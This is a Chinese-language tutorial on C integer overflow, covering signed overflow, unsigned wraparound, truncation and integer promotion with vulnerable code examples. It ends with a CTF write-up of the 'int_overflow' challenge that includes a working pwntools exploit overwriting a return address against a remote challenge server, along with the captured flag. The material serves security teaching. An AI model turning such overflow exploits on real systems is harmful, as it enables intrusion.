[整数溢出介绍](#header-n396)  
 [整数溢出原理](#header-n429)  
 [有符号整数溢出](#header-n451)  
 [无符号整数回绕](#header-n461)  
 [截断](#header-n464)  
 [整数提升和宽度溢出](#header-n473)  
 [漏洞多发函数](#header-n482)  
 [整数溢出示例](#header-n485)  
 [示例一：整数转换：](#header-n487)  
 [示例二：回绕和溢出：](#header-n490)  
 [示例三：截断：](#header-n493)  
 [示例四：功放世界：int\_overflow](#header-n496)

## 整数溢出介绍

C语言中整数的分类及各自的大小范围：

|  |  |  |
| --- | --- | --- |
| 类型 | 字节 | 范围 |
| short int | 2byte(word) | 0~32767(0~0x7fff) -32768~-1(0x8000~0xffff) |
| unsigned short int | 2byte(word) | 0~65535(0~0xffff) |
| int | 4byte(word) | 0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff) |
| unsigned int | 4byte(word) | 0~4294967295(0~0xffffffff) |
| long | 8byte(word) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
| unsigned long | 8byte(word) | 0~0xffffffffffffffff |

正是因为这些类型的大小范围的限制导致整数溢出。

## 整数溢出原理

整数溢出的异常有3种：

* 溢出
  + 只有有符号数才会发生溢出。
  + 溢出标志**OF**可检测有符号数的溢出
* 回绕
  + 无符号数**0-1**时会变成最大的书，1字节的话会变为255，255+1时会变为0.
  + 进位标志**CF**可检测无符号数的回绕
* 截断
  + 就是将一个较大宽度的数放入一个宽度较小的数中，高位发生截断

### 有符号整数溢出

分为上溢出和下溢出

* 上溢出

int i = 2147483647;//int的最大值  
i++;  
printf("%d",i);  
//输出为最小负数

* 下溢出

int i = -2147483648;//int的最小值  
i--;  
printf("%d",i);  
//输出为最大正数

### 无符号整数回绕

无符号数的计算不会溢出，但是会发生回绕

unsined int i = 4 294 967 295;//x86-32上为4 294 967 295  
i++;  
printf("%d",i);//输出为0  
i = 0;  
i--;  
printf("%d",i);//输出为4 294 967 295

### 截断

* 加法截断

0xffffffff + 0x00000001  
= 0x0000000100000000 (long long)  
= 0x00000000 (long)

* 乘法截断

0x00123456 \* 0x00654321  
= 0x000007336BF94116 (long long)  
= 0x6BF94116 (long)

### 整数提升和宽度溢出

看代码：

#include<stdio.h>  
void main() {  
 int l;   
 short s;  
 char c;  
 l = 0xabcddcba;  
 s = l;  
 c = l;  
 printf("宽度溢出\n");  
 printf("l = 0x%x (%d bits)\n", l, sizeof(l) \* 8);  
 printf("s = 0x%x (%d bits)\n", s, sizeof(s) \* 8);  
 printf("c = 0x%x (%d bits)\n", c, sizeof(c) \* 8);  
 printf("整型提升\n");  
 printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) \* 8);  
}  
  
OUT：  
   
$ ./a.out  
宽度溢出  
l = 0xabcddcba (32 bits)  
s = 0xffffdcba (16 bits)  
c = 0xffffffba (8 bits)  
整型提升  
s + c = 0xffffdc74 (32 bits)

在整数转换的过程中，有可能导致下面的错误：

* 损失值：转换为值的大小不能表示的一种类型
* 损失符号：从有符号类型转换为无符号类型，导致损失符号

### 漏洞多发函数

下面的两个函数都有一个 size\_t 类型的参数，常常被误用而产生整数溢出，接着就可能导致缓冲区溢出漏洞。

typedef unsigned int size\_t;  
  
void \*memcpy(void \*dest, const void \*src, size\_t n);  
char \*strncpy(char \*dest, const char \*src, size\_t n);

## 整数溢出示例

下面用3个示例来演示：

### 示例一：整数转换：

char buf[80];  
void vulnerable() {  
 int len = read\_int\_from\_network();  
 char \*p = read\_string\_from\_network();  
 if (len > 80) {  
 error("length too large: bad dog, no cookie for you!");  
 return;  
 }  
 memcpy(buf, p, len);  
}

在这里，如果给len赋值一个负数，就可以绕过if判断，但是到memcpy时，因为第三个参数是size\_t类型，负数的len会被认为是一个很大的正数，从而复制大量内容到buf，导致缓存区溢出。

### 示例二：回绕和溢出：

void vulnerable() {  
 size\_t len;  
 // int len;  
 char\* buf;  
 len = read\_int\_from\_network();  
 buf = malloc(len + 5);  
 read(fd, buf, len);  
 ...  
}

相较于上一个例子，这个例子避开来缓冲区溢出的问题，但是如果len很大时，len+5会回绕，比如，若是len = 0xFFFFFFFF，len + 5 = 0x00000004，这时只malloc了4个字节，然而之后会read大量数据，缓冲区溢出也会发生。

### 示例三：截断：

void main(int argc, char \*argv[]) {  
 unsigned short int total;  
 total = strlen(argv[1]) + strlen(argv[2]) + 1;  
 char \*buf = (char \*)malloc(total);  
 strcpy(buf, argv[1]);  
 strcat(buf, argv[2]);  
 ...  
}

这个例子计算了输入参数的长度为total，程序分配了内存来存拼接后的字符串。这里total的类型为unsigned short int，如果攻击者提供的两个字符串总长度无法用total表示，则会发生截断，从而导致后面的缓冲区溢出。

### 示例四：功放世界：int\_overflow

yutao@pwnbaby:~/Desktop$ file int\_overflow   
int\_overflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped  
yutao@pwnbaby:~/Desktop$ checksec int\_overflow  
[\*] '/home/yutao/Desktop/int\_overflow'  
 Arch: i386-32-little  
 RELRO: Partial RELRO  
 Stack: No canary found  
 NX: NX enabled  
 PIE: No PIE (0x8048000)

关键函数：

char \*login()
  
{
  
 char buf; // [esp+0h] [ebp-228h]
  
 char s; // [esp+200h] [ebp-28h]
  
   
 memset(&s, 0, 0x20u);
  
 memset(&buf, 0, 0x200u);
  
 puts("Please input your username:");
  
 read(0, &s, 0x19u);//0x19u代表无符号 ，uname\_max = 0x19
  
 printf("Hello %s\n", &s);
  
 puts("Please input your passwd:");
  
 read(0, &buf, 0x199u); //pwd\_max = 0x199u 远大于下面的 v3
  
 return check\_passwd(&buf);
  
}
  
char \*\_\_cdecl check\_passwd(char \*s)
  
{
  
 char \*result; // eax
  
 char dest; // [esp+4h] [ebp-14h]
  
 unsigned \_\_int8 v3; // [esp+Fh] [ebp-9h]
  
 //8bit无符号整数，最大255
  
 v3 = strlen(s);//v3 == pwd的长度
  
 if ( v3 <= 3u || v3 > 8u )
  
 {
  
 puts("Invalid Password");
  
 result = (char \*)fflush(stdout);
  
 }
  
 else
  
 {
  
 puts("Success");
  
 fflush(stdout);
  
 result = strcpy(&dest, s);
  
 //dest\_stack\_size==0xb
  
 //s\_stack\_size(max\_passwd\_stack\_size)==0x200
  
 }
  
 return result;
  
}

v3需要在4到8之间，可以转变为260-264截断，这里的payload的长度为262.

有后门函数。

payload：

from pwn import \*
  
   
#io = process("./int\_overflow")
  
io = remote('111.200.241.244',47612)
  
back\_door\_addr = 0x08048694
  
   
io.sendlineafter("choice:",'1')
  
io.sendlineafter("username:","aaaa")
  
   
payload = 'a'\*(0x14 + 4 ) + p32(back\_door\_addr) + 'a'\*233
  
io.sendlineafter("passwd:", payload)
  
   
io.interactive()

flag：

yutao@pwnbaby:~/Desktop$ python 1.py
  
[+] Opening connection to 111.200.241.244 on port 47612: Done
  
[\*] Switching to interactive mode
  
   
Success
  
cyberpeace{570351d22dfa4892efd56550fe59aa63}
  
[\*] Got EOF while reading in interactive
  
$
  
   
[\*] Closed connection to 111.200.241.244 port 47612